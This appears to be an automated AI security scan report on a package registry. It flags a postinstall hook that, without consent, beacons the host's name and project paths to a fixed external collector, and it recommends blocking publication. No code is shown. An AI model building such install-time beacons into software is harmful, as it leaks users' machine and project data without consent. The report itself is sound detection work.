AI Security Review
scanned 2h ago · by lpm-firewall-aiThe postinstall hook activates an automatic metadata beacon to a fixed external collector. This is concrete installation-time data disclosure, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall script.
Impact
The external recipient learns the machine hostname and package installation and working-directory paths.
Mechanism
The script launches a beacon that collects host and project path metadata and sends it in an HTTP POST request.
Attack narrative
During installation, the package runs a beacon that sends the host name, installation path, and working directory to a fixed external address. The source shows no consent gate for this automatic disclosure.
AI rationale
The postinstall hook activates an automatic metadata beacon to a fixed external collector. This is concrete installation-time data disclosure, so publication should be blocked.
